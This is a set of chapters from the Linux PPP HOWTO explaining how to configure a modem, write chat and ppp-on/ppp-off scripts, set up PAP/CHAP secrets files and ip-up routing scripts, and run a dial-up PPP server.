Linux PPP HOWTO
Prev Chapter 12. Configuring your modem and serial port Next

12.3. Configuring your modem

You will need to configure your modem correctly for PPP - to do this READ YOUR MODEM MANUAL! Most modems come with a factory default setting that selects the options required for PPP. The minimum configuration specifies:-

  • Hardware flow control (RTS/CTS) (&K3 on many Hayes modems)

Other settings (in standard Hayes commands) you should investigate are:

  • E1 Command/usr/src/linux-2.0.27/include/linux/serial.h Echo ON (required for chat to operate).

  • Q0 Report result codes (required for chat to operate).

  • S0=0 Auto Answer OFF (unless you want your modem to answer the phone).

  • &C1 Carrier Detect ON only after connect.

  • &S0 Data Set Ready (DSR) always ON.

  • (depends) Data Terminal Ready.

There is a site offering modem setups for a growing variety of modems, makes and models at Modem setup information which may assist you in this.

It is also worth while investigating how the modem's serial interface between your computer and modem operates. Most modern modems allow you to run the serial interface at a FIXED speed whilst allowing the telephone line interface to change its speed to the highest speed it and the remote modem can both handle.

This is known as split speed operation. If your modem supports this, lock the modem's serial interface to its highest available speed (usually 115,200 baud but maybe 38,400 baud for 14,400 baud modems).

Use your communications software (e.g. minicom or seyon) to find out about your modem configuration and set it to what is required for PPP. Many modems report their current settings in response to AT&V, but you should consult your modem manual.

If you completely mess up the settings, you can return to sanity (usually) by issuing an AT&F - return to factory settings. (For most modem modems I have encountered, the factory settings include all you need for PPP - but you should check).

Once you have worked out the modem setup string required, write it down. You now have a decision: you can store these settings in your modem non-volatile memory so they can be recalled by issuing the appropriate AT command, or you can pass the correct settings to your modem as part of the PPP dialing process.

If you only use your modem from Linux to call into your ISP or corporate server, the simplest set up will have you save your modem configuration in non-volatile RAM.

If on the other hand, you modem is used by other applications and operating systems, it is safest to pass this information to the modem as each call is made so that the modem is guaranteed to be in the correct state for the call. (This has the added advantage also of recording the modem setup string in case the modem looses the contents of its NV-RAM, which can indeed happen).

Prev | Home | Next
Serial Port Names | Up | Note on Serial Flow Control


Note on Serial Flow Control

Linux PPP HOWTO
Prev Chapter 12. Configuring your modem and serial port Next

12.4. Note on Serial Flow Control

When data is traveling on serial communication lines, it can happen that data arrives faster than a computer can handle it (the computer may be busy doing something else - remember, Linux is a multi-user, multi- tasking operating system). In order to ensure that data is not lost (data does not over run in the input buffer and hence get lost), some method of controlling the flow of data is necessary.

There are two ways of doing this on serial lines:-

  • Using hardware signals (Clear To Send/Request to Send - CTS/RTS).

  • Using software signals (control S and control Q, also known as XON/XOFF).

Whilst the latter may be fine for a terminal (text) link, data on a PPP link uses all 8 bits - and it is quite probable that somewhere in the data there will be data bytes that translate as control S and control Q. So, if a modem is set up to use software flow control, things can rapidly go berserk!

For high speed links using PPP (which uses 8 bits of data) hardware flow control is vital and it is for this reason that you must use hardware flow control.

Prev | Home | Next
Configuring your modem | Up | Testing your modem for dial out


Testing your modem for dial out

Linux PPP HOWTO
Prev Chapter 12. Configuring your modem and serial port Next

12.5. Testing your modem for dial out

Now that you have sorted out the serial port and modem settings it is a good idea to make sure that these setting do indeed work by dialing you ISP and seeing if you can connect.

Using you terminal communications package (such as minicom), set up the modem initialisation required for PPP and dial into the PPP server you want to connect to with a PPP session.

(Note: at this stage we are NOT trying to make a PPP connection - just establishing that we have the right phone number and also to find out exactly what the server sends to us in order to get logged in and start PPP).

During this process, either capture (log to a file) the entire login process or carefully (very carefully) write down exactly what prompts the server gives to let you know it is time to enter your user name and password (and any other commands needed to establish the PPP connection).

If your server uses PAP, you should not see a login prompt, but should instead see the (text representation) of the link control protocol (which looks like garbage) starting on your screen.

A few words of warning:-

  • some servers are quite intelligent: you can log in using text based user name/passwords OR using PAP. So if your ISP or corporate site uses PAP but you do not see the garbage start up immediately, this may not mean you have done something wrong.

  • some servers require you to enter some text initially and then start a standard PAP sequence.

  • Some PPP servers are passive - that is they simply sit there sending nothing until the client that is dialing in sends them a valid lcp packet. If the ppp server you are connecting to operates in passive mode, you will never see the garbage!

  • Some servers do not start PPP until you press ENTER - so it is worth trying this if you correctly log in and do not see the garbage!

It is worth dialing in at least twice - some servers change their prompts (e.g. with the time!) every time you log in. The two critical prompts your Linux box needs to be able to identify every time you dial in are:-

  • the prompt that requests you to enter your user name;

  • the prompt that requests you to enter your password;

If you have to issue a command to start PPP on the server, you will also need to find out the prompt the server gives you once you are logged in to tell you that you can now enter the command to start ppp.

If your server automatically starts PPP, once you have logged in, you will start to see garbage on your screen - this is the PPP server sending your machine information to start up and configure the PPP connection.

This should look something like this :-

~y}#.!}!}!} }8}!}$}%U}"}&} } } } }%}& ...}'}"}(}"} .~~y}

(and it just keeps on coming!)

On some systems PPP must be explicitly started on the server. This is usually because the server has been set up to allow PPP logins and shell logins using the same user name/password pair. If this is the case, issue this command once you have logged in. Again, you will see the garbage as the server end of the PPP connection starts up.

If you do not see this immediately after connecting (and logging in and starting the PPP server if required), press Enter to see if this starts the PPP server.

At this point, you can hang up your modem (usually, type +++ quickly and then issue the ATHO command once your modem responds with OK).

If you can't get your modem to work, read your modem manual, the man pages for your communications software and the Serial HOWTO! Once you have this sorted out, carry on as above.

Prev | Home | Next
Note on Serial Flow Control | Up | Setting up Name to Address Resolution (DNS)


The /etc/host.conf file

Linux PPP HOWTO
Prev Chapter 13. Setting up Name to Address Resolution (DNS) Next

13.2. The /etc/host.conf file

You should also check that your /etc/host.conf file is correctly set up. This should look like
order hosts,bind
multi on

This tells the resolver to use information in the host file before it sends queries to the DNS for resolution.

Prev | Home | Next
Setting up Name to Address Resolution (DNS) | Up | Using PPP and root privileges


What options should I use? (No PAP/CHAP)

Linux PPP HOWTO
Prev Chapter 15. Setting up the PPP connection files Next

15.2. What options should I use? (No PAP/CHAP)

Well, as in all things, that depends, (sigh). The options specified here should work with most servers.

However, if it does NOT work, READ THE TEMPLATE FILE (/etc/ppp/options.tpl) and the pppd man pages and speak to the sysadmin/user support people who run the server to which you are connecting.

You should also note that the connect scripts presented here also use some command line options to pppd to make things a bit easier to change.

# /etc/ppp/options (NO PAP/CHAP)
#
# Prevent pppd from forking into the background
-detach
#
# use the modem control lines
modem
# use uucp style locks to ensure exclusive access to the serial device
lock
# use hardware flow control
crtscts
# create a default route for this connection in the routing table
defaultroute
# do NOT set up any "escaped" control sequences
asyncmap 0
# use a maximum transmission packet size of 552 bytes
mtu 552
# use a maximum receive packet size of 552 bytes
mru 552
#
#-------END OF SAMPLE /etc/ppp/options (no PAP/CHAP)

Prev | Home | Next
Setting up the PPP connection files | Up | Other options to consider adding


Other options to consider adding

Linux PPP HOWTO
Prev Chapter 15. Setting up the PPP connection files Next

15.3. Other options to consider adding

There are a couple useful things you might want to add to the /etc/ppp/options file.

One is an idle time. Pppd can terminate the connection if it has been idle for too long. This could be nice if your isp charges by time, or if you don't want to keep your phone line tied up. To use this feature, simply add the line:

# Idle after X seconds
idle X

Replace 'X' with the number of seconds you wish the connection to terminate after.

The next feature is "dial on demand". This means that every time you attempt to open an interent connection, pppd will try to open a PPP connection to your ISP. In order to do this, add the following lines to /etc/ppp/options

# dial on demand
demand

This should make pppd dial out when necessary.

Prev | Home | Next
What options should I use? (No PAP/CHAP) | Up | If your PPP server uses PAP (Password Authentication Protocol)


The PAP/CHAP secrets file

Linux PPP HOWTO
Prev Chapter 16. If your PPP server uses PAP (Password Authentication Protocol) Next

16.2. The PAP/CHAP secrets file

If you are using pap or chap authentication, then you also need to create the secrets file. These are:
/etc/ppp/pap-secrets
/etc/ppp/chap-secrets

They must be owned by user root, group root and have file permissions 740 for security.

The first point to note about PAP and CHAP is that they are designed to authenticate computer systems not users.

Huh? What's the difference? I hear you ask.

Well now, once your computer has made its PPP connection to the server, ANY user on your system can use that connection - not just you. This is why you can set up a WAN (wide area network) link that joins two LANs (local area networks) using PPP.

PAP can (and for CHAP DOES) require bidirectional authentication - that is a valid name and secret is required on each computer for the other computer involved. However, this is NOT the way most PPP servers offering dial-up PPP PAP-authenticated connections operate.

That being said, your ISP will probably have given you a user name and password to allow you to connect to their system and thence the Internet. Your ISP is not interested in your computer's name at all, so you will probably need to use the user name at your ISP as the name for your computer.

This is done using the name user name option to pppd. So, if you are to use the user name given you by your ISP, add the line
name your_user name_at_your_ISP

to your /etc/ppp/options file.

Technically, you should really use user our_user name_at_your_ISP for PAP, but pppd is sufficiently intelligent to interpret name as user if it is required to use PAP. The advantage of using the name option is that this is also valid for CHAP.

As PAP is for authenticating computers, technically you need also to specify a remote computer name. However, as most people only have one ISP, you can use a wild card (*) for the remote host name in the secrets file.

It is also worth noting that many ISPs operate multiple modem banks connected to different terminal servers - each with a different name, but ACCESSED from a single (rotary) dial in number. It can therefore be quite difficult in some circumstances to know ahead of time what the name of the remote computer is, as this depends on which terminal server you connect to!

Prev | Home | Next
If your PPP server uses PAP (Password Authentication Protocol) | Up | The PAP secrets file


The PAP secrets file

Linux PPP HOWTO
Prev Chapter 16. If your PPP server uses PAP (Password Authentication Protocol) Next

16.3. The PAP secrets file

The /etc/ppp/pap-secrets file looks like
# Secrets for authentication using PAP
# client        server       secret     acceptable_local_IP_addresses

The four fields are white space delimited and the last one can be blank (which is what you want for a dynamic and probably static IP allocation from your ISP).

Suppose your ISP gave you a user name of fred and a password of flintstone you would set the name fred option in /etc/ppp/options[.ttySx] and set up your /etc/ppp/pap-secrets file as follows

# Secrets for authentication using PAP
# client        server  secret		acceptable local IP addresses
fred		*	flintstone

This says for the local machine name fred (which we have told pppd to use even though it is not our local machine name) and for ANY server, use the password (secret) of flintstone.

Note that we do not need to specify a local IP address, unless we are required to FORCE a particular local, static IP address. Even if you try this, it is unlikely to work as most PPP servers (for security reasons) do not allow the remote system to set the IP number they are to be given.

Prev | Home | Next
The PAP/CHAP secrets file | Up | The CHAP secrets file


The CHAP secrets file

Linux PPP HOWTO
Prev Chapter 16. If your PPP server uses PAP (Password Authentication Protocol) Next

16.4. The CHAP secrets file

This requires that you have mutual authentication methods - that is you must allow for both your machine to authenticate the remote server AND the remote server to authenticate your machine.

So, if your machine is fred and the remote is barney, your machine would set name fred remotename barney and the remote machine would set name barney remotename fred in their respective /etc/ppp/options.ttySx files.

The /etc/chap-secrets file for fred would look like
# Secrets for authentication using CHAP
# client        server  secret            acceptable local IP addresses
fred		barney	flintstone
barney		fred	wilma

and for barney

# Secrets for authentication using CHAP
# client        server  secret            acceptable local IP addresses
barney          fred    flintstone
fred		barney	wilma

Note in particular that both machines must have entries for bidirectional authentication. This allows the local machine to authenticate itself to the remote AND the remote machine to authenticate itself to the local machine.

Prev | Home | Next
The PAP secrets file | Up | Handling multiple PAP-authenticated connections


Handling multiple PAP-authenticated connections

Linux PPP HOWTO
Prev Chapter 16. If your PPP server uses PAP (Password Authentication Protocol) Next

16.5. Handling multiple PAP-authenticated connections

Some users have more than one server to which they connect that use PAP. Provided that your user name is different on each machine to which you want to connect, this is not a problem.

However, many users have the same user name on two (or more - even all) systems to which they connect. This then presents a problem in correctly selecting the appropriate line from /etc/ppp/pap-secrets.

As you might expect, PPP provides a mechanism for overcoming this. PPP allows you to set an 'assumed name' for the remote (server) end of the connection using the remotename option to pppd.

Let us suppose that you connect to two PPP servers using the username fred. You set up your /etc/ppp/pap-secrets something like

fred	pppserver1	barney
fred	pppserver2	wilma

Now, to set connect to pppserver1 you would use name fred remotename pppserver1 in your ppp-options and for pppserver2 name fred remotename pppserver2.

As you can select the ppp options file to use with pppd using the file filename option, you can set up a script to connect to each of your PPP servers, correctly picking the options file to use and hence selecting the right remotename option.

Prev | Home | Next
The CHAP secrets file | Up | Setting up the PPP connection manually


The ppp-on script

Linux PPP HOWTO
Prev Chapter 18. Automating your connections - Creating the connection scripts Next

18.2. The ppp-on script

This is the first of a PAIR of scripts that actually fire up the connection.

#!/bin/sh
#
# Script to initiate a PPP connection. This is the first part of the
# pair of scripts. This is not a secure pair of scripts as the codes
# are visible with the 'ps' command.  However, it is simple.
#
# These are the parameters. Change as needed.
TELEPHONE=555-1212      # The telephone number for the connection
ACCOUNT=george          # The account name for logon (as in 'George Burns')
PASSWORD=gracie         # The password for this account (and 'Gracie Allen')
LOCAL_IP=0.0.0.0        # Local IP address if known. Dynamic = 0.0.0.0
REMOTE_IP=0.0.0.0       # Remote IP address if desired. Normally 0.0.0.0
NETMASK=255.255.255.0   # The proper netmask if needed
#
# Export them so that they will be available to 'ppp-on-dialer'
export TELEPHONE ACCOUNT PASSWORD
#
# This is the location of the script which dials the phone and logs
# in.  Please use the absolute file name as the $PATH variable is not
# used on the connect option.  (To do so on a 'root' account would be
# a security hole so don't ask.)
#
DIALER_SCRIPT=/etc/ppp/ppp-on-dialer
#
# Initiate the connection
#
#
exec /usr/sbin/pppd debug /dev/ttySx 38400 \
        $LOCAL_IP:$REMOTE_IP \
        connect $DIALER_SCRIPT

Here is the ppp-on-dialer script:-

#!/bin/sh
#
# This is part 2 of the ppp-on script. It will perform the connection
# protocol for the desired connection.
#
/usr/sbin/chat -v                                                 \
        TIMEOUT         3                               \
        ABORT           '\nBUSY\r'                      \
        ABORT           '\nNO ANSWER\r'                 \
        ABORT           '\nRINGING\r\n\r\nRINGING\r'    \
        ''              \rAT                            \
        'OK-+++\c-OK'   ATH0                            \
        TIMEOUT         30                              \
        OK              ATDT$TELEPHONE                  \
        CONNECT         ''                              \
        ogin:--ogin:    $ACCOUNT                        \
        assword:        $PASSWORD

For PPP-2.2, the ppp-off script looks like:-

#!/bin/sh
######################################################################
#
# Determine the device to be terminated.
#
if [ "$1" = "" ]; then
        DEVICE=ppp0
else
        DEVICE=$1
fi

######################################################################
#
# If the ppp0 pid file is present then the program is running. Stop it.
if [ -r /var/run/$DEVICE.pid ]; then
        kill -INT `cat /var/run/$DEVICE.pid`
#
# If the kill did not work then there is no process running for this
# pid. It may also mean that the lock file will be left. You may wish
# to delete the lock file at the same time.
        if [ ! "$?" = "0" ]; then
                rm -f /var/run/$DEVICE.pid
                echo "ERROR: Removed stale pid file"
                exit 1
        fi
#
# Success. Let pppd clean up its own junk.
        echo "PPP link to $DEVICE terminated."
        exit 0
fi
#
# The ppp process is not running for ppp0
echo "ERROR: PPP link is not active on $DEVICE"
exit 1

Prev | Home | Next
Automating your connections - Creating the connection scripts | Up | Editing the supplied PPP startup scripts


Editing the supplied PPP startup scripts

Linux PPP HOWTO
Prev Chapter 18. Automating your connections - Creating the connection scripts Next

18.3. Editing the supplied PPP startup scripts

As the new scripts come in two parts, we will edit them in turn.

18.3.1. The ppp-on script

You will need to edit the script to reflect YOUR user name at your ISP, YOUR password at your ISP, and the telephone number of your ISP.

Each of the lines like "TELEPHONE=" actually set up shell variables that contain the information to the right of the '=' (excluding the comments of course). So edit each of these lines so it is correct for your ISP and connection.

Also, as you are setting the IP number (if you need to) in the /etc/ppp/options file, DELETE the line that says

$LOCAL_IP:$REMOTE_IP \

Also, make sure that the shell variable DIALER_SCRIPT points at the full path and name of the dialer script that you are actually going to use. So, if you have moved this or renamed the script, make sure you edit this line correctly in the ppp-on script!

18.3.2. The ppp-on-dialer script

This is the second of the scripts that actually brings up our ppp link.

Note: a chat script is normally all on one line. the backslashes are used to allow line continuations across several physical lines (for human readability) and do not form part of the script itself.

However, it is very useful to look at it in detail so that we understand what it is actually (supposed) to be doing!

Prev | Home | Next
The ppp-on script | Up | What a Chat script means...


What a Chat script means...

Linux PPP HOWTO
Prev Chapter 18. Automating your connections - Creating the connection scripts Next

18.4. What a Chat script means...

A chat script is a sequence of expect string, send string pairs. In particular, note that we ALWAYS expect something before we send something.

If we are to send something WITHOUT receiving anything first, we must use an empty expect string (indicated by " ") and similarly for expecting something without sending anything! Also, if a string consists of several words, (e.g. NO CARRIER), you must quote the string so that it is seen as a single entity by chat.

The chat line in our template is:-

exec /usr/sbin/chat -v

Invoke chat, the -v tells chat to copy ALL its I/O into the system log (usually /var/log/messages). Once you are happy that the chat script is working reliably, edit this line to remove the -v to save unnecessary clutter in your syslog.

TIMEOUT         3
This sets the timeout for the receipt of expected input to three seconds. You may need to increase this to say 5 or 10 seconds if you are using a really slow modem!

ABORT           '\nBUSY\r'

If the string BUSY is received, abort the operation.

ABORT           '\nNO ANSWER\r'

If the string NO ANSWER is received, abort the operation

ABORT           '\nRINGING\r\n\r\nRINGING\r'

If the (repeated) string RINGING is received, abort the operation. This is because someone is ringing your phone line!

\rAT

Expect nothing from the modem and send the string AT.

OK-+++\c-OK   ATH0

This one is a bit more complicated as it uses some of chat's error recovery capabilities.

What is says is...Expect OK, if it is NOT received (because the modem is not in command mode) then send +++ (the standard Hayes-compatible modem string that returns the modem to command mode) and expect OK. Then send ATH0 (the modem hang up string). This allows your script to cope with the situation of your modem being stuck on-line!

TIMEOUT         30

Set the timeout to 30 seconds for the remainder of the script. If you experience trouble with the chat script aborting due to timeouts, increase this to 45 seconds or more.

OK              ATDT$TELEPHONE

Expect OK (the modem's response to the ATH0 command) and dial the number we want to call.

CONNECT         ''

Expect CONNECT (which our modem sends when the remote modem answers) and send nothing in reply.

ogin:--ogin:    $ACCOUNT

Again, we have some error recovery built in here. Expect the login prompt (...ogin:) but if we don't receive it by the timeout, send a return and then look for the login prompt again. When the prompt is received, send the username (stored in the shell variable $ACCOUNT).

assword:        $PASSWORD

Expect the password prompt and send our password (again, stored in a shell variable).

This chat script has reasonable error recovery capability. Chat has considerably more features than demonstrated here. For more information consult the chat manual page (man 8 chat).

18.4.1. Starting PPP at the server end

Whilst the ppp-on-dialer script is fine for servers that automatically start pppd at the server end once you have logged in, some servers require that you explicitly start PPP on the server.

If you need to issue a command to start up PPP on the server, you DO need to edit the ppp-on-dialer script.

At the END of the script (after the password line) add an additional expect send pair - this one would look for your login prompt (beware of characters that have a special meaning in the Bourne shell - such as $ and [ or ] (open and close square brackets).

Once chat has found the shell prompt, chat must issue the ppp start up command required for your ISPs PPP server.

In my case, my PPP server uses the standard Linux Bash prompt
[hartr@kepler hartr]$

and requires that I type

ppp

to start up PPP on the server.

It is a good idea to allow for a bit of error recovery here, so in my case I use
    hartr--hartr	ppp

This says, if we don't receive the prompt within the timeout, send a carriage return and looks for the prompt again.

Once the prompt is received, then send the string ppp.

Note: don't forget to add a \ to the end of the previous line so chat still thinks the entire chat script is on one line!

Unfortunately, some servers produce a very variable set of prompts! You may need to log in several times using minicom to understand what is going on and pick the stable "expect" strings.

Prev | Home | Next
Editing the supplied PPP startup scripts | Up | A chat script for PAP/CHAP authenticated connections


A chat script for PAP/CHAP authenticated connections

Linux PPP HOWTO
Prev Chapter 18. Automating your connections - Creating the connection scripts Next

18.5. A chat script for PAP/CHAP authenticated connections

If your ISP is using PAP/CHAP, then your chat script is much simpler. All your chat script needs to do is dial the telephone, wait for a connect and then let pppd handle the logging in!

#!/bin/sh
#
# This is part 2 of the ppp-on script. It will perform the connection
# protocol for the desired connection.
#
exec /usr/sbin/chat -v                                  \
        TIMEOUT         3                               \
        ABORT           '\nBUSY\r'                      \
        ABORT           '\nNO ANSWER\r'                 \
        ABORT           '\nRINGING\r\n\r\nRINGING\r'    \
        ''              \rAT                            \
        'OK-+++\c-OK'   ATH0                            \
        TIMEOUT         30                              \
        OK              ATDT$TELEPHONE                  \
        CONNECT         ''                              \

Prev | Home | Next
What a Chat script means... | Up | The pppd debug and file option_file options


The pppd debug and file option_file options

Linux PPP HOWTO
Prev Chapter 18. Automating your connections - Creating the connection scripts Next

18.6. The pppd debug and file option_file options

As we have already seen, you can turn on debug information logging with the -d option to pppd. The 'debug' option is equivalent to this.

As we are establishing a new connection with a new script, leave in the debug option for now. (Warning: if your disk space is tight, logging pppd exchanges can rapidly extend your syslog file and run you into trouble - but to do this you must fail to connect and keep on trying for quite a few minutes).

Once you are happy that all is working properly, then you can remove this option.

If you have called your ppp options file anything other than /etc/ppp/options or /etc/ppp/options.ttySx, specify the file name with the file option to pppd - e.g.

exec /usr/sbin/pppd debug file options.myserver /dev/ttyS0 38400 \

Prev | Home | Next
A chat script for PAP/CHAP authenticated connections | Up | Testing your connection script


I can send email, but not receive it

Linux PPP HOWTO
Prev Chapter 22. Common Problems once the link is working Next

22.2. I can send email, but not receive it

If you are using dynamic IP numbers, this is perfectly normal. See "Setting up Services" below.

Prev | Home | Next
Common Problems once the link is working | Up | Why can't people finger, WWW, gopher, talk, etc. to my machine?


Why can't people finger, WWW, gopher, talk, etc. to my machine?

Linux PPP HOWTO
Prev Chapter 22. Common Problems once the link is working Next

22.3. Why can't people finger, WWW, gopher, talk, etc. to my machine?

Again, if you are using dynamic IP numbers, this is perfectly normal. See "Setting up Services" below.

Prev | Home | Next
I can send email, but not receive it | Up | Using Internet services with Dynamic IP numbers


Setting Up a local Name server

Linux PPP HOWTO
Prev Chapter 23. Using Internet services with Dynamic IP numbers Next

23.2. Setting Up a local Name server

Whilst you can quite happily use the domain name servers located at your ISP, you can also set up a local caching only (secondary) name server that is brought up by the ip-up script. The advantage of running a local (caching only) name server is that it will save you time (and bandwidth) if you frequently contact the same sites during a long on-line session.

DNS configuration for a caching only nameserver (that uses a "forwarders' line in the named.boot file pointing at your ISPs DNS) is relatively simple. The O'Reilly book (DNS and Bind) explains all you want to know about this.

There is also a DNS-HOWTO available.

If you are running a small LAN that can access the Internet through you Linux PC (using IP Masquerade for example), it is probably a good idea to run a local name server (with a forwarders directive) whilst the link is up as this will minimise the bandwidth and delays associated with name resolution.

One point of Nettiquette: ask permission from your ISP before you start using a secondary, caching only name server in your ISP's domain. Properly configured, your DNS will not cause any problems to your ISP at all, but if you get things wrong, it can cause problems.

Prev | Home | Next
Using Internet services with Dynamic IP numbers | Up | Linking two networks using PPP


Setting up the routing

Linux PPP HOWTO
Prev Chapter 24. Linking two networks using PPP Next

24.2. Setting up the routing

You must arrange that packets on your local LAN are routed across the interface that the PPP link establishes. This is a two stage process.

First of all, you need to establish a route from the machine running the PPP link to the network(s) at the far end of the link. If the link is to the Internet, this can be handled by a default route established by pppd itself at your end of the connection using the 'defaultroute' option to pppd.

If however, the link is only linking two LANs, then a specific network route must be added for each network that is accessible across the link. This is done using a 'route' command for each network in the /etc/ppp/ip-up script (see "After the link comes up"...) for instructions on doing this.

The second thing you need to do is to tell the other computers on your LAN that your Linux computer is actually the 'gateway' for the network(s) at the far end of the ppp link.

Of course, the network administrator at the other end of the link has to do all this too! However, as s/he will be routing packets to your specific networks, a specific network route will be required, not a default route (unless the LANs at the far and of the link are linking into you to access the Internet across your connection).

Prev | Home | Next
Linking two networks using PPP | Up | Network security


Network security

Linux PPP HOWTO
Prev Chapter 24. Linking two networks using PPP Next

24.3. Network security

If you are linking you LAN to the Internet using PPP - or even just to a "foreign" LAN, you need to think about security issues. I strongly urge you to think about setting up a firewall!

You should also speak to the LAN administrator at your site BEFORE you start linking to foreign LANs or the Internet this way. Failure to do so could earn you anything from no reaction to really serious trouble!

Prev | Home | Next
Setting up the routing | Up | After the link comes up - the /etc/ppp/ip-up script


Handling email queues

Linux PPP HOWTO
Prev Chapter 25. After the link comes up - the /etc/ppp/ip-up script Next

25.2. Handling email queues

When the link between two LANs comes up, you may well want to make sure that email that is queued at either end is flushed - sent out to its destination. This is done by adding the appropriate sendmail invocation.

Using the bash 'case' statement on an appropriate parameter that pppd passes into the script accomplishes this. For example, this is the /etc/ppp/ip-up script I use to handle our WAN links and the link to my home Ethernet (also handled on the same ppp server).

Prev | Home | Next
After the link comes up - the /etc/ppp/ip-up script | Up | A sample /etc/ppp/ip-up script


A sample /etc/ppp/ip-up script

Linux PPP HOWTO
Prev Chapter 25. After the link comes up - the /etc/ppp/ip-up script Next

25.3. A sample /etc/ppp/ip-up script

The example below provides a variety of example uses.

#!/bin/bash
#
# Script which handles the routing issues as necessary for pppd
# Only the link to Newman requires this handling.
#
# When the ppp link comes up, this script is called with the following
# parameters
#       $1      the interface name used by pppd (e.g. ppp3)
#       $2      the tty device name
#       $3      the tty device speed
#       $4      the local IP address for the interface
#       $5      the remote IP address
#       $6      the parameter specified by the 'ipparam' option to pppd
#
case "$5" in
# Handle the routing to the Newman Campus server
        202.12.126.1)
                /sbin/route add -net 202.12.126.0 gw 202.12.126.1
# and flush the mail queue to get their email there asap!
        /usr/sbin/sendmail -q &
                ;;
    139.130.177.2)
# Our Internet link
# When the link comes up, start the time server and synchronise to the world
# provided it is not already running
                if [ ! -f /var/lock/subsys/xntpd ]; then
                        /etc/rc.d/init.d/xntpd.init start &
                fi
# Start the news server (if not already running)
                if [ ! -f /var/lock/subsys/news ]; then
                        /etc/rc.d/init.d/news start &
                fi
                ;;
    203.18.8.104)
# Get the email down to my home machine as soon as the link comes up
# No routing is required as my home Ethernet is handled by IP
# masquerade and proxyarp routing.
        /usr/sbin/sendmail -q &
        ;;
        *)
esac
exit 0

As a result of bringing up the ppp link to our Newman campus and this script, we end up with the following routing table entries (this machine also is our general dial up PPP server AND handles our Internet link). I have interspersed comments in the output to help explain what each entry is) :-

[root@kepler /root]# route -n
Kernel routing table
Destination     Gateway         Genmask         Flags MSS    Window Use Iface
# the HOST route to our remote internet gateway
139.130.177.2   *               255.255.255.255 UH    1500   0      134 ppp4
# the HOST route to our Newman campus server
202.12.126.1    *               255.255.255.255 UH    1500   0       82 ppp5
# the HOST route to my home ethernet
203.18.8.104    *               255.255.255.255 UH    1500   0       74 ppp3
# two of our general dial up PPP lines
203.18.8.64     *               255.255.255.255 UH    552    0        0 ppp2
203.18.8.62     *               255.255.255.255 UH    552    0        1 ppp1
# the specific network route to the Newman campus LAN
202.12.126.0    202.12.126.1    255.255.255.0   UG    1500   0        0 ppp5
# the route to our local Ethernet (super-netting two adjacent C classes)
203.18.8.0      *               255.255.254.0   U     1500   0     1683 eth0
# the route to the loop back device
127.0.0.0       *               255.0.0.0       U     3584   0      483 lo
# the default route to the Internet
default         139.130.177.2   *               UG    1500   0     3633 ppp4

Prev | Home | Next
Handling email queues | Up | Handling email


Handling email

Linux PPP HOWTO
Prev Chapter 25. After the link comes up - the /etc/ppp/ip-up script Next

25.4. Handling email

The previous section shows how to handle the outgoing mail - simply by flushing the mail queue once the link is up.

If you are running a WAN link, you can arrange with the network administrator of the remote LAN to do exactly the same thing. For example, at the Newman Campus end of our WAN link, the /etc/ppp/ip-up script looks like :-

#!/bin/bash
#
# Script which handles the routing issues as necessary for pppd
# Only the link to Hedland requires this handling.
#
# When the ppp link comes up, this script is called with the following
# parameters
#       $1      the interface name used by pppd (e.g. ppp3)
#       $2      the tty device name
#       $3      the tty device speed
#       $4      the local IP address for the interface
#       $5      the remote IP address
#       $6      the parameter specified by the 'ipparam' option to pppd
#
case "$5" in
        203.18.8.4)
                /usr/sbin/sendmail -q
                ;;
        *)
esac
exit 0

If however you have only a dynamic IP PPP link to your ISP, you need to get your email from the account on your ISPs machine. This is usually done using the POP (Post Office Protocol). This process can be handled using the 'popclient' program - and the ip-up script can automate this process for you too!

Simply create a /etc/ppp/ip-up script that contains the appropriate invocation of popclient. For my laptop that runs Red Hat Linux (which I take on any travels), this is...

popclient -3 -c -u hartr -p <password> kepler.hedland.edu.au |formail -s procmail

You could use slurp or whatever to do the same for news, and so forth. Remember, the ip-up script is just a standard bash script and so can be used to automate ANY function that needs to be accomplished every time the appropriate PPP link comes up.

Prev | Home | Next
A sample /etc/ppp/ip-up script | Up | Using /etc/ppp/ip-down


Overview of the server system

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.2. Overview of the server system

We offer dial up PPP (and SLIP) accounts and shell accounts using the same user name/password pair. This has the advantages (for us) that a user requires only one account and can use it for all types of connectivity.

As we are an educational organization, we do not charge our staff and students for access, and so do not have to worry about accounting and charging issues.

We operate a firewall between our site and the Internet, and this restricts some user access as the dial up lines are inside our (Internet) firewall (for fairly obvious reasons, details of our other internal fire walls are not presented here and are irrelevant in any case).

The process a user goes through to establish a PPP link to our site (once they have a valid account of course) is :-

  • Dial into our rotary dialer (this is a single phone number that connects to a bank of modems - the first free modem is then used).

  • Log in using a valid user name and password pair.

  • At the shell prompt, issue the command ppp to start PPP on the server.

  • Start PPP on their PC (be it running Windows, DOS, Linux MAC OS or whatever - that is their problem).

The server uses individual /etc/ppp/options.ttyXX files for each dial in port that set the remote IP number for dynamic IP allocation. The server users proxyarp routing for the remote clients (set via the appropriate option to pppd). This obviates the need for routed or gated.

When the user hangs up at their end, pppd detects this and tells the modem to hang up, bringing down the PPP link at the same time.

Prev | Home | Next
Setting up a PPP server | Up | Getting the software together


Getting the software together

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.3. Getting the software together

You will need the following software:-

  • Linux, properly compiled to include the necessary options.

  • The appropriate version of pppd for your kernel.

  • A 'getty' program that intelligently handles modem communications. We use getty_ps2.0.7h, but mgetty is highly thought of. I understand that mgetty can detect a call that is using pap/chap (pap is the standard for Windows95) and invoke pppd automatically, but I have yet to explore this.

  • An operational domain name server (DNS) that is accessible to your dial up users. You should really be running your own DNS if possible...

Prev | Home | Next
Overview of the server system | Up | Setting up standard (shell access) dialup.


Setting up standard (shell access) dialup.

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.4. Setting up standard (shell access) dialup.

Before you can set up your PPP server, your Linux box must be capable of handling standard dial up access.

This howto does NOT cover setting this up. Please see the documentation of the getty of your choice and serial HOWTO for information on this.

Prev | Home | Next
Getting the software together | Up | Setting up the PPP options files


Setting up the PPP options files

Linux PPP HOWTO
Prev Chapter 28. Setting up a PPP server Next

28.5. Setting up the PPP options files

You will need to set up the overall /etc/ppp/options with the common options for all dial up ports. The options we use are:-

asyncmap 0
netmask 255.255.254.0
proxyarp
lock
crtscts
modem

Note - we do NOT use any (obvious) routing - and in particular there is no defaultroute option. The reason for this is that all you (as a PPP server) are required to do is to route packets from the ppp client out across your LAN/Internet and route packets to the client from your LAN and beyond.

All that is necessary for this is a host route to the client machine and the use of the 'proxyarp' option to pppd.

